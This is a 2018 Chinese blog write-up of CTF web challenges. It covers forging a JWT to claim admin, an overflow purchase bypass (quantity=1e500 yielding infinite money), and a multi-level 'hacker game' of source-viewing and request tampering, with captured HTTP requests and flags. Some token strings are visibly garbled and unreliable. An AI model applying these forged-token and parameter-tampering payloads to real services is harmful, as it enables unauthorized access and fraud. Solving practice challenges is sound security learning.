

ctf web 的一些writeup jwt以及黑客游戏

原创

[G_goodstudy](#) 于 2018-08-09 10:21:27 发布 3325 收藏 3

分类专栏: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_42520737/article/details/81531750

版权



[ctf 专栏收录该内容](#)

5 篇文章 0 订阅

订阅专栏

<http://54.223.83.192:8877/>

jwt

登陆问题

JSON Web Token (JWT) 是一个开放式标准 (RFC 7519), 它定义了一种紧凑且自包含的方式, 用于在各方之间以JSON对象安全传输信息。这些信息可以通过数字签名进行验证和信任。可以使用秘密 (使用HMAC算法) 或使用RSA的公钥/私钥对对JWT进行签名。

这道题的解题方式就是对其进行登陆抓包

将token进行base64解码之后修改成这种方式

```
{"typ":"JWT","alg":"HS256"}{"name":"admin","admin":"true"}.E[(oHD4g4]|醜
```

在进行编码得到一个base64编码后的

替换之前得到的token burpsuite去go之后得到了这个

Raw Headers Hex

```

HTTP/1.1 200 OK
Date: Wed, 01 Aug 2018 06:07:37 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.31
Vary: Accept-Encoding
Content-Length: 355
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>: Uncaught UnexpectedValueException: Wrong
number of segments in
/var/www/html/vendor/firebase/php-jwt/src/JWT.php:78
Stack trace:
#0 /var/www/html/auth.php(36):
Firebase\JWT\JWT::decode('eyJ0eXAiOiJKV1Q...', '123456', Array)
#1 {main}
  thrown in
<b>/var/www/html/vendor/firebase/php-jwt/src/JWT.php</b> on line
<b>78</b><br />

```

https://blog.csdn.net/qq_42520737

使用在线工具

<https://jwt.io/>

Encoded PASTE A TOKEN HERE

```

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1eW11IjoieWRtaW4iLCJhZGUiOiJ1eW11IiwiaWF0IjoiMTUyMzQ1NiJ9.eyJ0eXAiOiJKV1Q...', '123456', Array)
nvU

```

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```

{
  "alg": "HS256",
  "typ": "JWT"
}

```

PAYLOAD: DATA

```

{
  "name": "admin",
  "admin": "true"
}

```

VERIFY SIGNATURE

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),

) secret base64 encoded

https://blog.csdn.net/qq_42520737

将获得的encode放进burpsuite的token，得到flag

```
GET /auth.php?username=guest&password=admin HTTP/1.1
Host: 54.223.83.192:8877
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0)
Gecko/20100101 Firefox/56.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://54.223.83.192:8877/
Cookie: hibext_instdsigdipv2=1;
PHPSESSID=8f17de4059129ee95b071bb9da8d07a6;
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1IjoiYWRtaW4iLCJhZGUiOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9.eyJ1IjoiYWRtaW4iLCJhZGUiOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9.eyJ1IjoiYWRtaW4iLCJhZGUiOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1.1.1.1
```

```
HTTP/1.1 200 OK
Date: Wed, 01 Aug 2018 06:44:52 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.31
Content-Length: 34
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

```
flag{Jw7_15_9000lh4vE_fun_w17h_17}
```

https://blog.csdn.net/qq_42520737

<http://54.223.83.192:9999>

刚开始我的思路是要么抓包修改，要么就是绕过。

然后就是一直在尝试

就是你自己先买进来动物

绕过卖出一堆，得到INF的money买flag

Burp Suite Professional v1.6beta - licensed to LarryLau

Target: <http://54.223.83.192:9999>

Request

```
POST /index.php?action=sell HTTP/1.1
Host: 54.223.83.192:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0)
Gecko/20100101 Firefox/56.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://54.223.83.192:9999/index.php?action=sell&pid=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Cookie: hibext_instdsigdipv2=1;
PHPSESSID=8f17de4059129ee95b071bb9da8d07a6;
token=eyJ0eXciOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9.eyJ1IjoiYWRtaW4iLCJhZGUiOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9.eyJ1IjoiYWRtaW4iLCJhZGUiOiJpbiI6InRydWUiLCJ0eXciOiJmcm9udCJ9
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1.1.1.1

quantity=1e500&product_id=2
```

Response

```
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.37
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 546
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!doctype HTML public>
<html>
<head>
  <title>Shop</title>
  <link rel='stylesheet' type='text/css'
href='css/style.css' />
</head>
<body>
  <div id='container'>
    <div id='header'>
      <h2 style='text-align:center;'>Welcome
to the Shop!</h2>
      <p
style='text-align:center;'><a href='./index.php'>View
Products</a> <a href='./index.php?action=list'>Home</a></p>
    </div>
    <div
id='content'><script>alert('0000');window.location.href='index.
php?action=list';</script>
content-->
</div><!-- End container-->
</body>
</html>
```

https://blog.csdn.net/qq_42520737

Your money: ¥INF

Your Products

Name	Quantity	Description	Action
flag	1	flag{M0n3y_En0ugh}	<u>sell</u>
	-INF	汪汪汪	<u>sell</u>
	1	喵喵喵	<u>sell</u>

https://77blog.csdn.net/qq_42520737

黑客游戏

<http://www.cn-hack.cn/qs/5.htm>

第一关

F12查看源码，在js框架可以出js代码，代码要求打开 [2sdfadf.htm](#) 那么

payload: <http://www.cn-hack.cn/qs/2sdfadf.htm> 进入第二关

第二关

提示很明显就在图片中，我并没有直接拿着winhex分析图片，而是修改了后缀txt，ctl+f 查找htm 找到

[or3.htm](#)

payload: <http://www.cn-hack.cn/qs/or3.htm> 进入第三关

第三关

提示的密码 直接url解码

<http://www.cn-hack.cn/qs/4dfsa.htm>

第四关

源代码中并没有发现什么 然后就随便输入用户名以及密码

显示输入用户名和密码错误，进行burpduite抓包

```
GET /qs/1.htm?username=&password=&submit=%CC%E1%BD%BB
HTTP/1.1
Host: www.cn-hack.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:52.0) Gecko/20100101 Firefox/52.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.cn-hack.cn/qs/4dfsa.htm
Cookie:
UM_distinctid=165175fcfc79-0e03e70593a7528-4c322b78-1440
00-165175fcfc8279;
CNZZDATA450942=cnzz_eid%3D259875816-1533695479-http%253A
%252F%252Fwww.cn-hack.cn%252F%26ntime%3D1533695479
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 08 Aug 2018 03:02:00 GMT
Content-Type: text/html
Content-Length: 140
Connection: keep-alive
X-Accel-Version: 0.01
Last-Modified: Mon, 05 Dec 2016 05:10:31 GMT
ETag: "8c-542e24e92a39e-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent

<html>
<head>
<title>checklogin</title>
</head>
<body>
□□□□□□□□□□□□□□
<!--□5□□□□□789.htm,□□□□□-->
</body>
</html> https://blog.csdn.net/qq_42520737
```

payload:<http://www.cn-hack.cn/qs/789.htm>

我刚发现这就是智障题 md进页面查看源码就有了 ，真是有点蠢哭自己了

第五关

通用密码or